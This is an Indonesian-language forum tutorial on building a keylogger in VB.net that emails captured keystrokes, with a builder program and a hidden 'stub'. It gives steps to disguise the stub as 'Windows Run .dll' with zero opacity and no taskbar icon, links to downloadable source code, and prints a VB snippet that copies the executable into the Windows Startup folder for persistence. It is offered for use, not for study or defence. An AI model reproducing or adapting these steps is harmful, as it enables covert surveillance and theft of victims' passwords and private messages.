Membuat Keylogger send email+VD

Iseng2 bikin keylogger : D langsung aja gan

Step A:
mari memulai ,buka VB.net lalu pilih File->New project ->"Windows Forms Application" beri nama "Logic Keylogger"lalu Ok

sekarang kita akan membuat tampilan seperti dibawah ini,masuk ke Toolbox (dikiri) dan tambahkan 2 text box,2 labels,dan satu Tombol,atur tampilan nya menjadi seperti dibawah ini
1.buat seperti di gambar




2.sekarang klik kanan di form dan klik view code,CTRL-A lalu delete
Dan Copas script ini :

http://www.mediafire.com/?kob7cugtddea7oe


3.setelah itu pilih File-> Save All.Lalu klik Build,Build Logic Keylogger.

Oke builder uda dibuat

Step B:

kita buat file stub nya

1.klik File -> New project->Form Application->Stub-> OK.
2.
di form ini kita tambahkan 3 timers,di bawah kanan rubah times seperti berikut

Timer1-Interval=100
Timer2-Interval=900000
Timer3-Interval=900100

ubah nama form tersebut mnjadi "Windows Run .dll",set opacity menjadi 0% dan ubah "Show Icon In Taskbar" menjadi false.

tambahkan 3 text box seperti ini




Text Box yang gede = Text Box 1(set menjadi "Enabled=False")
Text box kiri = Text box 2
Text box kanan = Text box 3
3.Seperti tadi ,..Klik kanan -> view Code->delete ,paste kan code ini:

http://www.mediafire.com/?2md72nvfzg76znf





4.lalu save lagi dan Build

Ctn:
Masuk ke "C\:Dir\Logic Keylogger\bin\release" lalu tambahkan .exe di desktop

lakukan yang sama terhadap stub nya

Run "Logic Keylogger" Enter Information,klik Build.

Selamat kamu baru aja membuat kylogger pertama kamu.

Note: Stub mungkin gak perlu di delete,tapi tidak di butuhkan untuk dikirim bersama server program nya.

Note: Keylogger ini akan mencoba memasuki startup folder di XP,untuk membuat startup di vista hapus kode ini di code yang ke-2

Code:
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If

Kalo kurang jelas ni ada videonya

Selsesai...^^ 

Selamat Mencoba...

Sumber N3